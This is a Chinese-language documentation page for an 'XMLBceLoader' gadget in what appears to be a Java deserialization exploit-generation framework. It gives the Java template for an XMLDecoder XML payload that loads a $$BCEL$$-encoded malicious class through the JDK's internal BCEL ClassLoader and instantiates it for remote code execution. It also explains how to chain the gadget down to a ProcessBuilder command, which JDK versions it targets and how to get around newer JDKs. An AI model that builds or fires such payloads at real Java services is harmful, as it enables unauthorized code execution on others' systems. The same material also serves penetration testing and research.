- 类别:xml 别名:— 优先级:—
- 作者:—
- 依赖:
jdk(依赖 JDK 内置的com.sun.org.apache.bcel.internal.util.ClassLoader)
生成一段 XMLDecoder XML,令目标用 JDK 内置的 BCEL ClassLoader.loadClass() 解码并加载一个 $$BCEL$$... 编码的恶意类,再 newInstance() 触发其静态/构造逻辑。这是 XMLDecoder 面向「字节码执行」的加载器 sink:本 gadget 只负责套模板,真正的 BCEL 字符串由内层 gadget 提供。
- 入口
tags:XMLDecoderPayload—— 承接 XMLDecoder Payload 入口。 - 衔接
nextTags:BCEL_Expr—— 之后需向内接一个「产出 BCEL 编码字符串」的 gadget(本库中即 BcelConvert,其tags含BCEL_Expr)。 excludes:无。- 注意本 gadget 不带
END:它必须与内层字节码链组合才成完整链。
与前几个纯 sink 不同,本类会 chain.doCreate 取内层产物:
public static String template =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<java>\n"
+ " <void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\">\n"
+ " <void method=\"loadClass\"> <string><![CDATA[%s]]></string>\n"
+ " <void method=\"newInstance\"></void>\n"
+ " </void>\n"
+ " </void>\n</java>\n";
public String getObject(String bcel) {
return String.format(template, bcel); // 把内层给的 BCEL 串填进 loadClass 参数
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((String) chain.doCreate(context)); // 内层产物是一个 BCEL 字符串
}模板语义(XMLDecoder 解析时的行为):
<void class="com.sun.org.apache.bcel.internal.util.ClassLoader">—— 实例化 BCEL 类加载器。<void method="loadClass"><string><![CDATA[$$BCEL$$...]]></string>—— 调用loadClass("$$BCEL$$...")。BCELClassLoader对以$$BCEL$$前缀的类名会把后续内容当作压缩编码的字节码就地解码并defineClass。<void method="newInstance"/>—— 对加载出的 Class 调用newInstance(),执行其无参构造/静态块中的恶意逻辑(通常是TemplatesImpl式 evil 类,构造即 RCE)。
链构建(内→外):XMLBceLoader → BcelConvert → BytecodeConvert → Exec。Exec 产出 ProcessBuilder 字节码 → BytecodeConvert 转 byte[] → BcelConvert 把字节码编码为 $$BCEL$$... 字符串(nextTags=BytecodeConvertTag,故其内层接字节码)→ XMLBceLoader 把该串套进 loadClass 模板。
本类无 @Param,唯一变量 bcel 由内层 gadget 通过 chain.doCreate 注入。
- 依赖
com.sun.org.apache.bcel.internal.util.ClassLoader——该内置 BCEL 在 JDK ≤ 8 完整可用;JDK 9+ 起com.sun.org.apache.bcel.internal随模块化被隐藏/移除,$$BCEL$$加载普遍失效。故本 sink 主要针对 JDK 8 及更低环境。 - 优点:BCEL 字符串是纯文本,天然适合塞进 XML
<![CDATA[]]>,规避二进制字节码在 XML 中的转义问题。 - 若目标为高版本 JDK,改用 XMLJdkDefineClass(走
ClassLoader.defineClass反射,不依赖 BCEL)。
自由构件,未直接出现在预设链中(usedInChains 为空);实战按 XMLBceLoader → BcelConvert → BytecodeConvert → Exec 自由组合。
- 内层(
nextTags=BCEL_Expr):BcelConvert → 再内层 BytecodeConvert → Exec。 - 同族 XMLDecoder 字节码加载 sink:XMLJdkDefineClass(
defineClass路线)、XMLJsLoader(脚本引擎路线)。 - 上游:XMLDecoder Payload 入口 /
SpringBeanXMLDecoderClassLoader。